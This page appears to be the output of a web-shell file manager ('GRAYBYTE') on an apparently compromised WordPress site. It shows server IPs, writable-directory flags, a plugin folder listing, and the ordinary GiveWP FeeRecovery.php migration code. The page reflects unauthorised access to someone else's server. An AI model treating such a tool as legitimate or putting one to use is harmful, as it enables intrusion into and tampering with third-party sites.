$94 GRAYBYTE WORDPRESS FILE MANAGER $81

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.43.35 | ADMIN IP 216.73.216.180
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : mail

/home/bravrvjk/itiministry.org/wp-content/plugins/give/src/FormMigration/Steps/

HOME
Current File : /home/bravrvjk/itiministry.org/wp-content/plugins/give/src/FormMigration/Steps//FeeRecovery.php
<?php

namespace Give\FormMigration\Steps;

use Give\FormMigration\Contracts\FormMigrationStep;
use Give\Framework\Blocks\BlockModel;

class FeeRecovery extends FormMigrationStep
{

    /**
     * @since 3.0.0
     */
    public function process()
    {
        $feeRecoverySettings = $this->formV2->getFeeRecoverySettings();

        if (empty($feeRecoverySettings) || (
                $feeRecoverySettings['useGlobalSettings'] === true &&
                !give_is_setting_enabled(give_get_option('give_fee_recovery', 'disabled'))
            )) {
            return;
        }

        if ($feeRecoverySettings['useGlobalSettings']) {
            $feeRecoverySettings = $this->getGlobalSettings();
        }

        $feeRecoveryBlock = BlockModel::make([
            'name' => 'givewp-fee-recovery/fee-recovery',
            'attributes' => $feeRecoverySettings,
        ]);
        $this->fieldBlocks->insertAfter('givewp/donation-amount', $feeRecoveryBlock);
    }

    /**
     * @since 3.0.0
     */
    private function getGlobalSettings(): array
    {
        return [
            'useGlobalSettings' => true,
            'feeSupportForAllGateways' => give_get_option('give_fee_configuration', 'all_gateways') === 'all_gateways',
            'perGatewaySettings' => [],
            'feePercentage' => (float)give_get_option('give_fee_percentage', 2.9),
            'feeBaseAmount' => (float)give_get_option('give_fee_base_amount', 0.30),
            'maxFeeAmount' => (float)give_get_option(
                'give_fee_maximum_fee_amount',
                give_format_decimal(['amount' => '0.00'])
            ),
            'includeInDonationSummary' => give_get_option('give_fee_breakdown', 'enabled') === 'enabled',
            'donorOptIn' => give_get_option('give_fee_mode', 'donor_opt_in') === 'donor_opt_in',
            'feeCheckboxLabel' => give_get_option(
                'give_fee_checkbox_label',
                __(
                    'I\'d like to help cover the transaction fees of {fee_amount} for my donation.',
                    'give-fee-recovery'
                )
            ),
            'feeMessage' => give_get_option(
                'give_fee_explanation',
                __('Plus an additional {fee_amount} to cover gateway fees.', 'give-fee-recovery')
            ),
        ];
    }
}


Current_dir [ WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
4 Apr 2026 1.57 AM
bravrvjk / bravrvjk
0755
FormFields
--
4 Apr 2026 1.57 AM
bravrvjk / bravrvjk
0755
FormTemplate
--
4 Apr 2026 1.57 AM
bravrvjk / bravrvjk
0755
ActiveCampaign.php
1.088 KB
1 May 2024 11.40 PM
bravrvjk / bravrvjk
0644
ConstantContact.php
0.876 KB
10 Apr 2024 9.54 PM
bravrvjk / bravrvjk
0644
ConvertKit.php
1.075 KB
8 May 2024 6.09 PM
bravrvjk / bravrvjk
0644
CurrencySwitcher.php
1.107 KB
26 Jun 2024 8.32 PM
bravrvjk / bravrvjk
0644
DonationGoal.php
0.712 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
DonationOptions.php
2.396 KB
15 May 2024 7.28 PM
bravrvjk / bravrvjk
0644
DoubleTheDonation.php
0.892 KB
17 Apr 2024 11.51 PM
bravrvjk / bravrvjk
0644
EmailSettings.php
1.52 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FeeRecovery.php
2.275 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FormExcerpt.php
0.322 KB
10 Apr 2024 9.54 PM
bravrvjk / bravrvjk
0644
FormFeaturedImage.php
0.567 KB
1 Mar 2024 6.13 AM
bravrvjk / bravrvjk
0644
FormFieldManager.php
13.989 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FormFields.php
1.367 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FormGrid.php
0.62 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FormMeta.php
1.064 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FormTaxonomies.php
0.729 KB
28 Aug 2024 10.13 PM
bravrvjk / bravrvjk
0644
FormTitle.php
0.298 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
FundsAndDesignations.php
0.813 KB
11 Jan 2024 12.22 AM
bravrvjk / bravrvjk
0644
GiftAid.php
1.639 KB
9 Feb 2024 4.53 AM
bravrvjk / bravrvjk
0644
Mailchimp.php
1.288 KB
10 Apr 2024 9.54 PM
bravrvjk / bravrvjk
0644
MigrateMeta.php
0.329 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
OfflineDonations.php
0.739 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
PaymentGateways.php
0.775 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
PdfSettings.php
2.402 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
PerFormGateways.php
1.196 KB
9 Feb 2024 4.53 AM
bravrvjk / bravrvjk
0644
RazorpayPerFormSettings.php
1.64 KB
18 Jul 2024 12.34 AM
bravrvjk / bravrvjk
0644
RecurringDonationOptions.php
5.927 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644
TermsAndConditions.php
0.591 KB
16 Oct 2023 9.55 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF